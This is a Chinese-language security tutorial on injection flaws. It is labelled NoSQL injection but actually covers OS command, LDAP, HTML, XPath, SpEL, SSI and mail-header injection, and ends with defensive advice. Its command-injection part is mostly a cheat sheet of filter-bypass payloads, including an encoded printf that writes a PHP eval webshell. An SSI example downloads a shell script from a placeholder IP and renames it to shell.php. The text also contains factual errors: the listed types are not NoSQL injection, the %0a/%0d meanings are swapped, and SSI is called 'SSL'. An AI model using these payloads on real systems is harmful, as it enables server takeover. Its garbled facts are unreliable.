OWASP TOP10 ---注入(三)
NOSQL注入
作者:CatG0d
一、NOSQL注入的简介
NoSQL注入漏洞是使用NoSQL数据库的web应用程序中的错误。此Web应用程序安全问题使得攻击方可以绕过身份的验证,提取数据,修改数据,甚至获得目标应用程序的完全控制。NoSQL注入(非关系数据库)与关系数据库不同,它不使用通用查询语言,它的查询语言取决于实现方式:数据库(MongoDB,Redis等),语言(python、php等)和框架(Node等),NoSQL查询通常基于Json,并且可以包含用户输入。如果未对此输入进行过滤,就会很容易收到注入。
二、NOSQL注入的类型
- OS命令注入
- LDAP注入
- HTML注入
- Xpath注入
- 表达式注入
- SSL注入
- IMAP、SMTP注入
三、NOSQL注入详解
OS命令注入
OS命令注入又叫shell注入。软件在构造OS命令时使用了外部输入的数据,如果没有对外部输入中可能影响OS命令的特殊元素进行过滤,或是过滤不充分,就可能遭到OS命令注入攻击的风险。
OS命令注入允许攻击者直接在操作系统执行各种命令,当缺陷存在于网页应用等无法直接访问操作系统的软件中时,会造成一些脆弱性问题。当该缺陷存在于有高级权限的软件中时,攻击者可通过缺陷获得高级权限,从而造成极大的危害。
两种常见类型
- 应用程序通过用户输入的参数来构造OS命令
例如,程序可能使用system(“nslookup [HOSTNAME]”)来运行nslookup命令,其中的HOSTNAME由用户输入。由于没有检查HOSTNAME中是否存在命令分隔符,攻击者可将想执行的命令通过分隔符加在HOSTNAME中,当系统执行完nslookup后就会执行攻击者的命令。
- 应用程序将输入的整个字符串作为一个OS命令
例如,通过exec([COMMAND])来执行命令,其中COMMAND由用户输入,此时攻击者可以通过命令分隔符注入命令。
OS命令注入漏洞的影响
DOS、执行未经授权的代码或命令、读取应用数据、读取文件或目录、修改文件或目录、修改应用数据、隐藏活动、退出或重启、崩溃。
常见的危险函数
PHP
system 执行 command 参数所指定的命令, 并且输出执行结果。
system ( string $command , int &$return_var = ? ) : string
exec 执行 command 参数所指定的命令。
exec ( string $command , array &$output = ? , int &$return_var = ? ) : string
Passthru 执行 command 参数所指定的命令并且显示原始输出。
passthru ( string $command , int &$return_var = ? ) : void
shell_exec 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
shell_exec ( string $cmd ) : string
Popen 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
popen ( string $command , string $mode ) : resource
proc_open 执行一个命令,并且打开用来输入/输出的文件指针。
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
反引号 PHP 支持一个执行运算符:反引号(“)。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。效果和 shell_exec() 相同。
Python
system 在子 shell 中执行命令(字符串)。在 Unix 上,返回值是进程的退出状态;在 Windows 上,返回值是运行 command 后系统 Shell 返回的值。
system(command)
popen 打开一个管道,它通往 / 接受自命令 cmd。返回值是连接到管道的文件对象,根据 mode 是 'r' (默认)还是 'w' 决定该对象可以读取还是写入。
popen(cmd, mode='r', buffering=-1)
subprocess.call/subprocess.run 运行由 args 所描述的命令。 等待命令完成,然后返回 returncode属性。
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)
spawn 创建新进程以执行命令
Java
java.lang.Runtime.getRuntime().exec(command)
...
常用绕过
命令分隔与执行多条命令
空格绕过
绕过escapeshellcmd
黑名单绕过
无参数rce
过滤字母或数字
利用数据库读文件绕过
利用FFI
利用Bash内置变量
利用数学函数
字符数限制绕过
短命令执行
命令分隔与执行多条命令
在unix上
%0a 表示\r
%0d 表示\n
;
&
|
$(shell_command)
`shell_command`
{shell_command,}
在Windows上
%0a
&
|
%1a - 作为.bat文件中的命令分隔符
空格绕过
使用<或者>
cat<>flag cat<flag
使用IFS
cat${IFS}/flag cat$IFS$9/flag cat$IFS/flag
使用url编码绕过
%09
花括号扩展{OS_command,argument}
{cat,/etc/passwd}
变量控制
X=$’cat\x20/flag’&&$X X=$’cat\x09/flag’&&$X
绕过escapeshellcmd
Win下执行bat
win下执行.bat文件的时候,利用%1a,可以绕过过滤执行命令
id=../ %1a whoami
宽字节注入
在php5.2.5及之前的版本之前可以通过宽字节进行绕过
escapeshellcmd("echo ".chr(0xc0).";id");
命令执行后,语句就会变成
echo 繺;id
黑名单绕过
拼接
a=c;b=at;c=flag;$a$b $c
(sy.(st).em)(whoami)
编码
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
单双引号
c""at fl''ag
c'a't f'l'ag
反斜线\
c\at fl\ag
通配符
/?in/?s => /bin/ls
cat fl[0-z]g
echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
未定义变量
cat$x /etc/passwd
定义其他参数
如只对参数c进行检查过滤,可以构造a参数进行绕过
?c=eval($_GET[a]);&a=cat ./flag
当eval()或者()也被过滤的时候可以使用,include配合php伪协议读取文件
?file=php://filter/convert.base64-encode/resource=xxx.php
c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
可变函数
获取内置函数 system 的索引后,直接执行
#1.先获取system函数的索引
php -r 'get_defined_functions();' | grep 'system'
#2.直接使用system函数执行
php -r get_defined_functions()[501](whoami)'
$@
c$@at fl$@ag
echo i$@d
利用已经存在的资源
echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH| cut -c 1
/
echo $PATH| cut -c 1-4
/usr
字符数组
在 php 中可以用数组的形式取到字符串的每一个字符,这样我们就可以先定义一个包含所有需要的字符的字符串,然后通过下标取到字符再拼接的方式构造出我们需要的字符串。
php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'
利用正则表达式
grep show flag.php
无参数rce
print_r(scandir(‘.’));查看当前目录下的所有文件名
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
打印出当前目录下的文件:
print_r(scandir(current(localeconv())));
current(localeconv())这两个函数组合起来就是.
打印出倒数第二个文件的内容
show_source(next(array_reverse(scandir(getcwd()))));
过滤字母或数字
利用数字
过滤字母,但是没有过滤数字的情况下,可以使用base64命令:
/???/????64 ????.??? ==> /bin/base64 flag.php
利用$和()构造数字
$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1
如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
Exp:
data = "$((~$(("+"$((~$(())))"*37+"))))" #这里-37再取反就是36
print(data)
利用上传临时文件
利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。
文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?进行匹配,即???/?????????,
然而这不一定会匹配到我们上传的文件,这时我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[],到这一步
已经能匹配到了我们上传的文件,接下来为了执行上传的文件,就是使用.file来执行文件
利用数据库读文件绕过
用的mysql的load_file进行读取文件
Exp:
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
利用FFI
利用PHP7.4的FFI可以执行C语言的扩展,从而使用C的system函数进行明星执行。
$ffi = FFI::cdef( "int system(const char *command);"); // 创建一个system对象
$ffi->system("/readflag > 1.txt"); // 通过system去执行命令
利用 Bash内置变量
nl
/bin/base64
/bin/cat
/bin/rev
利用数学函数
主要是通过base_convert ()函数将二十六进制的字符转换为十进制的数字,然后通过逆过程还原为原本被进制掉或不在白名单中的函数或命令。
字符数限制绕过
使用输出重定向>分步把要执行的命令输入到一个文件中,然后再通过sh执行这个文件
短命令执行
只用\分行输入,这个优点是可以不用考虑时间顺序,直接用ls>a输出到a文件
使用\\,这种方法是利用\来拼接字符串,其中前一个\是用来转义后一个\的。这里需要考虑时间顺序,需要逆序来创建文件。
LDAP注入
LDAP是轻量目录访问协议(LightweightDirectory Access Protocol)的缩写,提供访问目录数据库方法的服务和协议,常用于与目录数据库组成目录服务。其中目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,不适于存储修改频繁的数据。
LDAP注入漏洞是指程序使用来自上游组件的受外部影响的输入来构造LDAP查询的全部或部分,没有过滤或不正确地过滤了输入字符串中含有的一些特殊字符,导致在将其发送到下游组件时修改了原本LDAP的查询结构。
LDAP具有特定的查询结构,并具有特定的语法,来对特定目录进行遍历,LDAP注入攻击和SQL注入攻击类似,利用用户引入的参数生成LDAP查询,由于部分参数没有适当的过滤,因此攻击者可以注入恶意代码以造成恶意攻击。
LDAP注入漏洞构成条件
数据从不可靠来源进入应用程序(包括但不局限于不可靠用户的输入信息或是不可靠用户可能更改的文件)
该数据未经过滤或不正确地过滤特殊字符后,直接使用进行LDAP查询
LDAP注入漏洞的后果
修改应用数据、读取应用数据、执行未经授权的代码或命令
HTML注入
HTML注入即利用HTML中各种标签进行注入。这种注入不会直接对服务器造成攻击,但对用户会造成很大影响。如果Web应用程序对用户输入的数据没进行彻底的处理的话,那么攻击者就可能利用此漏洞提交含有HTML标签的非法数据,这些含有标签的数据被服务器当作正常HTML标签解析后,就会回显到正常页面。而攻击者此时就会利用此漏洞进行钓鱼或社会工程学。
需要注意的是,它和XSS还是有着不同。XSS本质上是HTML注入,但XSS利用脚本标记语言运行javascript等脚本程序来获取机密数据和一些危险动作,而HTML注入只是使用HTML标签修改页面内容。
HTML注入类型
存储型HTML注入
具有持久性,因为通过这个漏洞注入恶意数据可以永久保存在Web应用服务器中,当用户访问注入页面时,就会返回给用户,从而达到钓鱼和社会工程学的目的
反射型HTML注入
具有非持久性,由于恶意脚本并没有存储在Web服务器中,因此攻击者需要通过网络钓鱼发送恶意链接来诱捕用户点击,从而获取用户信息
Xpath注入
XPath即为XML路径语言,它是一种用来确定XML文档中某部分位置的语言。Xpath是基于XML的树状结构,是一种用来在内存中导航整个XML树的语言。
XPath注入攻击,是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知 识的情况下,通过XPath查询得到一个XML文档的完整内容。
XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,但是,注入的对象不是数据库users表了,而是一个存储数据的XML文件。攻击者可以获取 XML 数据的组织结构,或者访问在正常情况下不允许访问的数据,如果 XML 数据被用于用户认证,那么攻击者就可以提升他的权限。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。XML 中没有访问控制或者用户认证,如果用户有权限使用 XPath 查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个 XML 文档。
XPath注入漏洞产生的条件
数据从不可靠的来源进入程序的。
用户输入为经过验证,被查询语句直接使用并执行
XPath注入漏洞的危害
绕过验证、读取重要数据。
表达式注入
Java统一表达式语言(英语:Unified Expression Language,简称JUEL)是一种特殊用途的编程语言,主要在Java Web应用程序用于将表达式嵌入到web页面。
表达式根据框架分为好多种,但表达式注入的原理基本一样,表达式全部或部分外部可控从而让使用者可以通过表达式达到程序设计功能以外的能力,恶意攻击者可以通过表达式注入达到一些不法目的。
根据框架,表达式分为很多类,这里以SpEL进行举例,SpEL是Spring表达式语言,比JSP的EL更强大的一种表达式语言。
SpEL漏洞形态类似于命令注入,它会将攻击者输入的参数当作表达式解析的参数,在解析过程中将造成命令执行。
复现:
http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()
SSL注入
SSL注入的出现是为了赋予html静态页面动态的效果,通过SSL来执行系统命令,并返回对应的结果。SSL注入一般由于网站对SSL的输入没有做到严格过滤,从而导致攻击者利用。
SSl语法
<!--#echo var="DOCUMENT_NAME“--> 本文档名称
<!--#echo var=“DATE_LOCAL”--> 当前时间
<!--#echo var=“REMOTE_ADDR”--> IP地址
<!--#include file=“文件名称”--> 将文本插入进文档
<!--#include virtual=“index.html”--> 将文本插入进文档
<!--#include virtual=“文件名称”--> 将文本插入进文档
<!--#include virtual=“/www/index.html”--> 将文本插入进文档
<!--#flastmod file=“文件名称”--> 文件最近更新日期
<!--#fsize file=“文件名称”--> 文件的长度
<!--#exec cmd=“文件名称”--> 执行服务器各种程序
<!--#exec cmd=“cat /etc/passwd”--> 执行服务器cat程序
<!--#exec cgi=“文件系统”--> 执行服务器cgi程序
<!--#exec cmd=“wget http://ip/shell.txt | rename shell.txt shell.php”--> 下载shell脚本并重命名
IMAP、SMTP注入
IMAP是邮件访问协议,用于收邮件的。
SMTP是邮件传输协议,用于发邮件的。
IMAP、SMTP注入就是关于收发邮件的注入。而产生漏洞的原因就是未对用户输入的地址进行严格的过滤和限制,导致可以加入一些例如CC抄送等邮件头(邮件头就类似于网页的Header头,它会包含一些关于邮件的信息)
邮件头
return-path:邮件的回复地址
from:发件人地址
to:收件人地址
subject:邮件主题,即邮件名
body:邮件内容
date:邮件发送日期
cc:抄送
bcc:密送
IMAP、SMTP注入能够使攻击者直接从互联网上访问邮件服务器,但通过其他方式却无法实现。在一些情况下,这些内部系统并没有部署和前端web服务器等同强度的基础安全与加固措施。所以,邮件服务器更容易收到终端用户的攻击。
四、注入的防御
代码审计,代码审计是最有效的检测应用程序的注入风险的办法之一
不要使用动态语句,或者参数化语句;不要使用拼接SQL语句
使用安全的API;使用存储过程来执行所有的查询
使用“最小权限”限制数据库用户的权限,不要使用管理员权限进行数据库的连接
使用“黑/白名单”或正则表达式,对用户输入的信息执行严格的输入检查
不要显示详细的错误信息(信息泄露)
在查询中使用LIMIT和其他SQL控件,以防止在SQL注入时大量的泄露记录
将用户的登录名、密码等数据加密保存
黑名单
最容易但同时也最不牢靠
主要缺点如下:
新发现的攻击不能被正常处理
编码后的字符未能正确考虑
Public void CheckInput(String s){
String[] blackList={“--”,”;--”,”;”,”/*”,”*/”,”@@”,”@”,”char ”,”nchar ”,”varchar ”,”nvarchar”,”alter ”,”begin ”,”cast”,”create”,”cursor”,”declare”,”delete”,”drop”,”end”,”execute”,”V$_Sys ”,”immediate ”,”insert”,”kill” ,”open”,”select”,”sys”,”V$_USERS”,”table”,”update”};
//do some validation
}
白名单
只接受定义过的值
一个简单的例子:
private bool CheckInput(String Color)
{
//White-list of primary colors
String[] PrimaryColors={“RED”,”BLUE”,”YELLOW”};
for(int i=0;i<PrimaryColors.Length;i++)
{
if(Color.Trim().ToUpperCase() == PrimaryColors[i])
{
return (true);
}
}
//Color was not in our primary color list, so return false.
return (false);
}
正则表达式
文本处理的杀器
Java里有很好的支持:java.util.regex.Patternx 和 java.util.regex.Matcher
Example-vaildating user email
p = Pattern.compile(“[^A-Za-z0-9\\.\\@_\\-~#]+”);
m = p.matcher(input);
还有很多方式对注入漏洞进行防御,后续学习过程中遇到会进行更新,注入漏洞初步总结到这里就先告一段落。